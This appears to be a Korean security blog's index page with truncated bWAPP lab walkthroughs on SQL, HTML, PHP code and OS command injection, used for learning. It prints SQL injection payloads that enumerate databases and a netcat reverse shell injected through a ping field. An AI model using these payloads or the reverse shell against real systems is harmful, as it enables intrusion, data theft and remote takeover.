bWAPP 18.SQL Injection (Login Form/Hero)
·
Web hacking
` SQL Injection (Login Form/Hero) [ 공격 주입 ] 입력 값 : ' or 1=1# [ 컬럼 수 확인 ] 입력 값 : ' union select all 1,2,3,4# [ 버전 정보 확인 ] 입력 값 : ' union select all 1,@@version,3, database()# [ 테이블 이름 출력 ] 입력 값 : ' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' # 입력 값 : ' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' and ..
bWAPP 17. SQL Injection (CAPTCHA)
·
Web hacking
SQL Injection ( CAPTCHA) -Ptod7 을 입력하니 해당 창이 나오게 된다. [ 공격 가능 확인 ] 입력 값 : ' or 1=1# [ 컬럼 수 확인 ] 입력 값 : ' union select all 1,2,3,4,5,6,7# [ 버전 확인 ] 입력 값 : ' union select all 1,@@version,database(),4,5,6,7# [ 테이블 명 확인하기 ] 입력 값 : ' UNION SELECT ALL 1, table_name,3,4,5,6,7 from information_schema.tables# [ user 테이블 컬럼 명 추출 ] 입력 값 : ' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.co..
bWAPP 16. SQL Injection (AJAX JSON jQuery)
·
Web hacking
SQL Injection (AJAX JSON jQuery) AJAX(Asynchronous javaScript and XML)는 HTML, 자바스크립트, JSON을 혼합하여 사용하는 기술을 말한다. JSON(JavaScript Object Notation)은 웹 서버와 데이터를 주고 받을 때 데이터를 표현하는 방법을 뜻하는데, 자바스크립트 형식으로 객체를 표현한다. JQuery는 자바스크립트 라이브러리 중 하나로, 클라이언트에서 스크립트 언어를 사용할 때 이를 단순화하고 AJAX 기능도 제공 한다. 밑 블로그의 정의를 참고했다. 출처: https://lucete1230-cyberpolice.tistory.com/90 [I-Tstory] 아무 글자를 입력하더라도 결과가 출력되는 것을 확인할 수 있다. [ ..
bWAPP 15. SQL Injection (POST Select)
·
Web hacking
SQL Injection (POST Select) SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다. 악의적인 SQL 문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법 Post 방식을 사용하며, 이번에는 Go를 눌르는 창이 나타나는 것을 확인. burpsuite를 캡쳐한 결과 movie변수가 있다는 것을 확인 [ 공격 가능 확인 ] 입력 값 : ' '입력시에 문법 오류가 발생하는 것을 확인했다. [ 컬럼 수 확인 ] 결과 값 : UNION SELECT ALL 1# UNION SE..
bWAPP 14. SQL Injection (POST Search)
·
Web hacking
SQL Injection (POST Search) SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다. 악의적인 SQL 문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법 Post 방식을 사용하기 때문에, Burp Suite를 사용하여 진행한다. title과 action 변수가 존재하는 것을 확인. [ 공격 가능 확인 ] 입력 값 : ' '입력시에 문법 오류가 발생하는 것을 확인했다. title에서 문법에러가 나오는지 action에서 문법오류가나오는지 확인한 결과 title에서 문법..
bWAPP 13. SQL Injection (GET/Select)
·
Web hacking
SQL Injection (GET/Select) SQL Injection SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다. 악의적인 SQL 문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법 GET/Select는 select박스가 나와있고 검색 시에 한 줄로만 나오는 점이다. 1. Go 버튼을 누르면 영화의 정보가 출력되는 페이지 2. Get 방식을 사용하는 것을 확인 할 수있다. [ 칼럼 수 확인 ] 입력 값 : order by 1# order by 2# order by 3# ..
bWAPP 12. SQL Injection (GET/Search)
·
Web hacking
SQL Injection (GET/Search) SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다. [ 문법 오류 확인 ] 입력 값 : ' 사용하여, 문법오류가 나오는지 확인한다. SQL Injection (GETSearch)오류 메시지에는 데이터베이스 서버 정보가 포함되고, 데이터베이스 서버의 종류에 따라 SQL 구문이 다르므로 가장 먼저 서버 정보를 확인하여야 합니다. 위에 오류 메시지에서는 데이터베이스 서버가 'MySQL'이라는 것을 알 수 있습니다. [ 공격 가능한지 확인 ] 입력 ..
bWAPP 11. Server-Side Includes (SSI) Injection
·
Web hacking
Server-Side Includes (SSI) Injection Server-Side Includes (SSI) Injection SSI(Server-Side Includes)는 웹페이지 내에서 주로 방문자 수를 세거나 홈페이지의 로고를 수정하는 간단한 기능을 추가할 때 사용됩니다. - Low 레벨 - First name과 Last name이 존재하는 것을 확인 값을 입력하면 ssi.shtml 페이지를 호출하는데 SSI 기능을 사용한다는 사실이 확인가능하다. 자신의 ip를 출력해주는것을 확인할 수 있다. vi ssii.php ssii.php를 참조하고있으므로 해당 php의 소스코드를 봤다. 따로 필터링은 존재하지않고 있다. - Low 레벨 결과 및 입력 값 1 - ls 명령어가 출력되는 것을 확인이 가..
bWAPP 10. PHP Code Injection
·
Web hacking
PHP Code Injection 웹 서비스 개발 과정 중 Server Side Langage 등을 include 하는 과정에서 생길 수 있는 취약점 이다. PHP Code Injection 은 exec() 함수나 eval()함수를 사용한 경우 세미 콜론(;) 을 사용하여 다른 함수를 실행하는 취약점이 있다. (해당 글자 출처 https://security-story.tistory.com/26 ) - Low 레벨 - PHP Code Injection 해당 레벨을 진행한다. message 버튼을 클릭하게 되면 http://192.168.1.82/bWAPP/phpi.php?message=test 해당 링크를 참조하는 것을 확인할 수 있다. test를 출력하고 있다. http://192.168.1.82/bWA..
bWAPP 9. OS Command Injection - Blind
·
Web hacking
OS Command Injection - Blind - Low 레벨 - vi commandi_blind.php ping 명령어가 실행되는 점을 소스코드에서 확인이 가능하다. 이번에도 IP를 입력 시에 PING 명령어가 동작하게된다. [ 공격자 ] nc -lvp 7777 netcat을 사용하여 7777 포트의 어디서든지 리스닝할수 있게 명령어를 진행한다 [ 공격할 곳(bWAPP) ] 192.168.1.181; nc 192.168.1.82 7777 -e /bin/bash 칼리에서 bWAPP 해당 서버의 쉘을 사용할 수 있게 되었다. - Low 레벨 결과 및 입력 값 - [ 공격자 ] nc -lvp 7777 [ 공격할 bWAPP 사이트 ] 192.168.1.181; nc 192.168.1.82 7777 -e ..
bWAPP 8. OS Command Injection
·
Web hacking
OS Command Injection os command Injection - 악의적인 명령 삽입, 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/db 중요 정보를 획득할 수 있는 취약점이다. - Low 레벨 - vi commandi.php 쉘명령이 실행되는 소스코드를 확인가능하다. lookup을 클릭할 경우 nslookup 명령어가 실행되는 것을 확인 명령어를 이어붙여 해당 단계를 실습 | : 앞에서 실행한 명령어 출력 결과를 뒤에서 실행하는 명령어 입력값으로 대체 ; 한개의 라인에 여러개 명령어를 수행해줌 && : 첫번쨰 명령어가 성공되면 다음 명령어를 수행함 ( 실패 시 다음 명령어 실행 x) || : 첫번째 명령어가 실패해도 다음 명령어를 수행함 (..
bWAPP 7. Mail Header Injection (SMTP) (진행 예정)
·
Web hacking
bWAPP - 6. LDAP Connection Settings (진행 예정)
·
Web hacking
bWAPP - 5. iFrame Injection
·
Web hacking
5. IFrame Injection iFrame은 HTML 문서 안에서 또 다른 HTML 문서를 출력하는 태그로 사용되며, 어느 위치든 상관없이 인젝션 공격을 할 수 있습니다. iFrame 인젝션은 독립적으로 만들 수 있어 HTML 인젝션 중에서도 공격에 자주 사용되며, 주로 악성 URL을 삽입한 후 사이즈를 0으로 설정하여 숨기는 방법을 사용합니다. - Low 레벨 - iFrame Injection 실습페이지의 화면 입니다. 'iframei.php' 페이지를 보시면 GET 방식으로 데이터를 전송하기 때문에 URL에 변수를 노출합니다. http://192.168.1.82/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250 소스코드 확..
bWAPP - 4. HTML Injection - Stored (Blog)
·
Web hacking
4. HTML Injection - Stored (Blog) - Low 레벨 - Html injection이 잘 주입되는지 확인한다. - Low 결과 및 입력 값 1 - qfqfqf - Low 결과 및 입력 값 2 - Input 태그도 저장이 가능한지 확인했고, html injection stored에 성공 하였다. - Medium 및 High 레벨 - vi htmli_stored.php case0의 해당 함수인 sqli_check_3 함수가 정의되는 곳에 가 어떤 필터링이 존재하는지 확인한다. 또한 난이도 Medium과 High는 다음과 같이 entry에 들어가는 내용을 필터링을 진행하고있다. xss_check_3가 무슨일을 하는지 찾아가봅시다. vi functions_external.php xss_c..
bWAPP - 3. HTML Injection – Reflected (Current URL)
·
Web hacking
HTML Injection – Reflected (Current URL) - Low 레벨 - 페이지에 접속 시 Yout current URL:http://192.168.37.129/bWAPP/htmli_current_url.php라는 문구가 출력된다. vi htmli_current_url.php 입력하여 소스를 관찰하자 위 내용 확인 결과 security_level에 따라 url변수가 달라진다. Low 레벨 이기떄문에 url 변수는 현재 http://[host]+url 이다. 처음 burpsuite intercept한 HTTP 요청 GET /bWAPP/htmli_current_url.php HTTP/1.1 Host: 192.168.0.29 GET 메소드가 확인 가능 그러므로 URL 파라미터 값을 통해서 ..
bWAPP - 2. HTML Injection - Reflected (POST)
·
Web hacking
2. bWAPP - HTML Injection - Reflected (POST) - Low 레벨 - 이번 레벨은 html injection post이다 vi htmli_post.php 소스코드를 한번 살펴보자 해당 소스코드도 관찰 결과 아무런 필터링이 진행되지않는다. 입력 값 - First name: qdqdqd Last name: qfqfqf Burpsuite로 intercept한다. 입력 값을 html 코드를 이용해 주입한다. - Low 결과 및 입력 값 - First name: qdqdqd Last name: qfqfqf 성공하였다. - Medium 레벨 - POST 방식의 Medium 레벨도 GET방식의 MEDIUM 레벨과 마찬가지로 필터링이 진행되고있다. vi htmli_post.php vi f..
bWAPP - 1. HTML injection - Reflected (GET)
·
Web hacking
1. bWAPP - HTML Injection - Reflected (GET) HTML Injection - Reflected (GET) -> URL에 악의적인 HTML 태그를 삽입하여 링크를 클릭한 사용자의 PC에서 HTML 태그가 실행되게 하는 공격 HTML Injection - Reflected (GET) HTML 인젝션은 코드 인젝션 공격의 하위 개념으로, 취약한 매개변수에 악의적인 HTML 코드를 삽입하는 공격입니다. 공격자는 사용자가 연결을 요청한 페이지에 HTML 태그를 삽입하여 의도하지 않은 내용을 보게 하거나 악의적인 사이트에 연결 시킬수 있습니다. HTML 인젝션 중에 반사(Reflected) 기법은 URL에 악의적인 HTML 태그를 삽입하여 링크를 클릭한 사용자의 PC에서 HTML 태..
웹 해킹 실습 - bWAPP 설치
·
Web hacking
bwAPP설치 칼리리눅스에서 bWAPP을 설치한다. wget https://sourceforge.net/projects/bwapp/files/latest/download -> mv ./download.1 /var/www/html 다운로드 받은 파일을 웹 디렉토리로 이동 -> cd /var/www/html 웹 디렉터리로 이동 -> unzip ./download 파일을 압축 해제 -> chmod 777 ./passwords ./images ./documents ./logs -> vi ./admin/settings.php (/var/www/html/bwAPP/admin/setiing.php 파일에 mysql 정보 입력) -> http://192.168.1.82/bWAPP/install.php Here 누르기 ..
owasp 실습(bwapp) -10 (Unrestricted File Upload -high) + Remote & local file lnclusion (RFI/LFI)
·
Web hacking
security lever high 로 맞추고 Unrestricted File Upload -high + Remote & local file lnclusion (RFI/LFI) 결합해서 푸는문제이다 업로드 불가 하지만 jpg,png로 올릴수있다고한다 이것을 아예 jpg로 파일을 올려버린다. 그러면 업로드는 성공했지만 꺠진다 그러므로 다른곳에서 실행을 한번해본다. Remote & local file lnclusion (RFI/LFI) 전글에 했던 취약점을이용해 내가 올린 파일을 실행해보려고한다. Remote & Local File Inclusion (RFI/LFI) 로 이동한다 low 로 진행하기!!!!!! low,low,low langeuage=images/aaaaaa.jpg&action=go삽입 (전에..